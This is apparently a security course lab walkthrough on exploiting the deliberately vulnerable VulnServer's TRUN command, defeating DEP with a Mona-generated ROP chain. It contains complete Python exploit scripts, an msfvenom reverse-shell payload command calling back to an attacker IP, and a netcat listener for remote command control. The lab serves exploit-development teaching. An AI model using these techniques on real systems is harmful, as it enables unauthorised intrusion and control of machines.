ED 309: Defeating DEP with ROP (20 pts)

Purpose

Use Return Oriented Programming (ROP) to defeat Data Execution Prevention (DEP). Since DEP prevents the code we injected onto the stack from running, we will use tiny pieces of Windows DLL code ("Gadgets") to construct a little program that turns DEP off.

We will use these tools:

What You Need

WARNING

VulnServer is unsafe to run. The Windows machine will be vulnerable to compromise. I recommend performing this project on virtual machines with NAT networking mode, so no outside attacker can exploit your windows machine.

Task 1: Preparing the Windows Machine

Installing and Running "Vulnerable Server"

You should already have Vulnerable Server downloaded, but if you don't, get it here:

http://sites.google.com/site/lupingreycorner/vulnserver.zip

Or use this alternate download link

Save the "vulnserver.zip" file on your desktop.

On your desktop, right-click vulnserver.zip.

Click "Extract All...", Extract.

A "vulnserver" window opens. Double-click vulnserver. The Vulnserver application opens, as shown below.

Turning Off Windows Firewall

On your Windows desktop, click Start.

In the Search box, type FIREWALL

Click "Windows Firewall".

Turn off the firewall for both private and public networks.

Finding your Windows Machine's IP Address

On your Windows Machine, open a Command Prompt. Execute the IPCONFIG command. Find your IP address and make a note of it.

Testing the Server

On your Kali Linux machine, in a Terminal window, execute this command:

Replace the IP address with the IP address of your Windows machine.

nc 192.168.119.129 9999
You should see a banner saying "Welcome to Vulnerable Server!", as shown below.

Type EXIT and press Enter to close your connection to Vulnerable Server.


Task 2: Launching Vunserver in Immunity

Install Immunity and Mona

You should already have Immunity and Mona installed on your Windows machine. If you don't, first do the earlier project.

Close Vulnserver

On your Windows machine, close the vulnserver.exe window.

Launch Vulnserver in Immunity

On your Windows machine, launch "Immunity Debugger".

In Immunity, click File, Open. Navigate to vulnserver.exe and double-click it.

In the Immunity toolbar, click the magenta Run button. Click the Run button a second time.


Task 3: Targeting EIP

The location of the EIP varies in different Windows versions, so let's first verify that it's working on your system.

Making Nonrepeating Characters

On your Kali Linux machine, in a Terminal window, execute this command:
nano testnr
In the nano window, enter this code, as shown below.
#!/usr/bin/python

prefix = 'A' * 1900

test = ''
for a in 'abcdefghij':
  for b in 'abcdefghij':
    test += a + b

padding = 'F' * 3000
attack = prefix + test + padding
attack = attack[:3000]

print attack

Press Ctrl+X, Y, Enter to save the file.

Execute these commands to run it:

chmod a+x testnr
./testnr
You see the attack string: 3000 characters with a string of lowercase characters in the middle, as shown below.

Sending the Attack String to Vulnserver

On your Kali Linux machine, in a Terminal window, execute this command:
nano findeip
In the nano window, enter this code, as shown below.
#!/usr/bin/python
import socket
server = '192.168.225.204'
sport = 9999

prefix = 'A' * 1900

test = ''
for a in 'abcdefghij':
  for b in 'abcdefghij':
    test += a + b

padding = 'F' * 3000
attack = prefix + test + padding
attack = attack[:3000]

s = socket.socket()
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + attack + '\r\n'))

Press Ctrl+X, Y, Enter to save the file.

Execute these commands to run it:

chmod a+x findeip
./findeip
Your Windows machine should show an "Access violation" at the bottom of the Immunity window, as shown below.

Note these items, outlined in the red in the image below:

Calculating the EIP Location

Here's where the fdfe characters appear in the attack string. Those characters control the EIP.

Before the EIP, we have these characters:

For a total of 2006 characters. You may have a different total on your machine.

Restarting Vulnserver in Immunity

On your Windows machine, in Immunity, click Debug, Restart. Click Yes.

On the toolbar, click the Run button. Click the Run button a second time.

Targeting the EIP Precisely

On your Kali machine, execute this command:
nano hiteip
In the nano window, enter this code, as shown below. Adjust the IP address and the "2006" value as needed for your system.
#!/usr/bin/python
import socket
server = '192.168.225.204'
sport = 9999

prefix = 'A' * 2006
eip = "BCDE"

padding = 'F' * 3000
attack = prefix + eip + padding
attack = attack[:3000]

s = socket.socket()
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + attack + '\r\n'))

Press Ctrl+X, Y, Enter to save the file.

Execute these commands to run it:

chmod a+x hiteip
./hiteip
Your Windows machine should show an "Access violation" at the bottom of the Immunity window, as shown below.

Note these items, outlined in the red in the image below:

Restarting Vulnserver in Immunity

On your Windows machine, in Immunity, click Debug, Restart. Click Yes.

On the toolbar, click the Run button. Click the Run button a second time.


Task 4: Testing Code Execution on the Stack

Let's find out whether we can execute code on the stack, which is the classical exploit method from aleph0.

From the previous project, we know putting 625011af into the EIP will execute JMP ESP and "trampoline" onto the stack.

We'll put a NOP sled and a BRK onto the stack, and attempt to execute it.

On your Kali machine, execute this command:

nano testnx
In the nano window, enter this code, as shown below. Adjust the IP address and the "2006" value as needed for your system.
#!/usr/bin/python
import socket
server = '192.168.225.204'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
brk = '\xcc'

padding = 'F' * 3000
attack = prefix + eip + nopsled + brk + padding
attack = attack[:3000]

s = socket.socket()
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + attack + '\r\n'))

Press Ctrl+X, Y, Enter to save the file.

Execute these commands to run it:

chmod a+x testnx
./testnx
Look at your Windows machine. If Immunity shows "INT3 command" at the bottom, as shown below, the stack allows code execution.

If it shows an "Access violation" when trying to execute a NOP, the stack does not allow code execution.

Turning On Data Execution Prevention

If your Windows machine allows code execution on the stack, you need to make this adjustment.

On your Windows machine, click Start. Type SYSTEM SETTINGS

In the search results, click "View advanced system settings".

In the "System Properties" box, on the Advanced tab, in the Performance section, click the Settings... button, as shown below.

In the "Performance Options" box, on the "Data Execution Prevention" tab, click the "Turn on DEP for all programs..." button, as shown below.

Click OK.

Click OK again.

Click OK a third time.

Close all programs and restart your Windows machine.

Log in, launch Immunity, and start Vulnserver running inside Immunity again.

Testing Code Execution on the Stack Again

On your Kali machine, execute these commands:
chmod a+x testnx
./testnx
Look at your Windows machine. It should show an "Access violation" when trying to execute a NOP, as shown below.


Task 5: Using a ROP Chain

Understanding Return-Oriented Programming (ROP)

Remember how we located a JMP ESP in the program and used its address for the previous exploit? That was a way to execute code without injecting it--we injected an address into EIP that pointed to the instruction we wanted. In Return Oriented Programming (ROP), we find useful little pieces of code with just a few machine language instructions followed by a RETN, and chain them together to perform something useful. In principle, we could try to make a whole Metasploit payload like a reverse shell using ROP, but it would be a lot of work. In practice, we just use ROP to turn off DEP. A simple, elegant solution.

To turn off DEP, or to allocate a region of RAM with DEP turned off, we can use any of the following functions: VirtuAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory(). It's still a pretty complex process to piece together the "Gadgets" (chunks of machine language code) to accomplish that, but, as usual, the authors of MONA have done the hard work for us :).

Building a ROP Chain with MONA

You should have MONA installed in Immunity from the previous project.

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:


!mona rop -m * -cpb '\x00'
MONA will now hunt through all the DLLs and construct chains of useful gadgets.

While MONA is running, the bottom left of the Immunity window will show a Searching... message.

As you might imagine, this is a big job, so you'll need to wait three minutes or so. During this time, Immunity may freeze and ignore mouse input.

When the process is complete, and the Searching... message vanishes, click View, Log.

You see a message saying "ROP generator finished", as shown below.

Scroll up in the Log window a few pages to find the section header, which explains what the ROP gadget does, as shown below.

There are several different gadgets here, which work on different versions of Windows. When I did it, the last gadget on the list was VirtualAlloc(), as shown below. This gadget does not work on Windows Server 2016.

In the Mona log window, right-click and click "Copy to clipboard", "Whole table", as shown above.

Find the "Register setup for VirtualProtect()" header, as shown below.

Scroll down to the Python code, highlight it, right-click, and copy it, as shown below.

Adding the ROP Code to the Attack

On your Kali Linux machine, in a Terminal window, execute this command:
nano ropchain
In the nano window, press Shift+Ctrl+V to paste in the Python ROP chain code.

The result should be as shown below.

Fixing Indentation

Indentation matters in Python.

Remove the leading spaces from the first and last lines of the code: the lines beginning with def and rop_chain, as shown below.

Adding Code at the Top

At the top of the file, insert this code, as shown below. Adjust the IP address and the "2006" value as needed for your system.

Note that this is indentical to the code we used previously, except for adding the "struct" and "sys" libraries.

#!/usr/bin/python
import socket, struct, sys 
server = '192.168.225.205'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
brk = '\xcc'
Your window should look like the image shown below.

Adding Code at the Bottom

At the bottom of the file, insert this code, as shown below.
padding = 'F' * 3000
attack = prefix + rop_chain + nopsled + brk + padding
attack = attack[:3000]

s = socket.socket()
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + attack + '\r\n'))

Save the code with Ctrl+X, Y, Enter.

Restarting Vulnserver in Immunity

On your Windows machine, in Immunity, click Debug, Restart. Click Yes.

On the toolbar, click the Run button. Click the Run button a second time.

Running the ROP Chain Exploit

On your Kali machine, execute these commands:
chmod a+x ropchain
./ropchain
Look at your Windows machine. The status bar at the bottom left should show "INT3 command", as shown below.

Scrolling back a few lines in the top left window shows that several NOP commands were executed, followed by an INT3, even though these were on a non-executable stack. The ROP chain changed the permissions to enable stack execution!

Troubleshooting

If your exploit fails with an "Access violation", as shown below:

add this command to your exploit to remove null characters, as shown below:


rop_chain = rop_chain.replace('\x00', '')

This correction is needed because some ROP chains produced by Mona contain 16-bit values, but the join() operation in Python treats them as 32-bit values, inserting unwanted null bytes into the string.


Task 6: Adding Shellcode

Now that we can execute code on the stack, we need to add exploit code.

Creating Exploit Code

On your Kali Linux machine, in a Terminal window, execute this command.
ifconfig
Find your Kali machine's IP address and make a note of it.

On your Kali Linux machine, in a Terminal window, execute the command below.

Replace the IP address with the IP address of your Kali Linux machine.

msfvenom -p windows/shell_reverse_tcp LHOST="192.168.225.155" LPORT=443 EXITFUNC=thread -b '\x00' -f python
This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 443 and execute commands from Kali.

The exploit is encoded to avoid null bytes. because '\x00' is a bad character.

Use the mouse to highlight the exploit code, as shown below. Right-click the highlighted code and click Copy.

Inserting the Exploit Code into Python

On your Kali Linux machine, in a Terminal window, execute these commands:
cp ropchain ropshell
nano ropshell
Use the down-arrow key to move the cursor to the end of this line:
sport= 9999
Press Enter twice to insert blank lines.

Then right-click and click Paste to insert the shellcode, as shown below.

Now we need to insert the Metasploit payoad, buf, where we had a brk instruction.

Near the bottom of the file, change this line:

attack = prefix + rop_chain + nopsled + brk + padding
to this:
attack = prefix + rop_chain + nopsled + buf + padding
as shown below.

Save the code with Ctrl+X, Y, Enter.

Starting a Listener

On your Kali Linux machine, open a new Terminal window and execute this command:
nc -nlvp 443
This starts a listener on port 443, as shown below. Your Kali machine is now a Command & Control server, waiting for the Windows target to phone home to it.

Starting Vulnserver without Immunity

On your Windows machine, close Immunity.

Navigate to the vulnserver.exe file and double-click it. The server runs, as shown below.

Running the Exploit

On your Kali Linux machine, open a new a Terminal window and execute this command:
./ropshell
In Kali Linux, the other Terminal window shows a Windows prompt, as shown below. You now control the Windows machine!

Executing TASKLIST

This doesn't add aything to the exploit. It just gathers some information to submit to record your success.

In the Terminal window controlling the Windows machine, execute this command, as shown below.

TASKLIST /FI "IMAGENAME eq vulnserver.exe" /M
There are several modules used by this process. Find the one beginning with "n", covered by a green rectangle in the image below.


ED 309.1: Recording Your Success (20 pts.)

The flag is covered by a green rectangle in the image above.

Sources

Vulnserver DEP Bypass Exploit

Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube

Perl pack function

Bypassing ASLR and DEP on Windows: The Audio Converter Case

Return-Oriented Programming (ROP) Exploit Example


Posted 7-12-14 1:51 pm by Sam Bowne
Updated 9-30-15
Windows 10 path added 4-24-18
Mona troubleshooting tip added 8-26-18
Added to modern flag system 11-6-19
Limited to Win 2008 11-6-19
Link to Win 2008 VM added 3-14-2020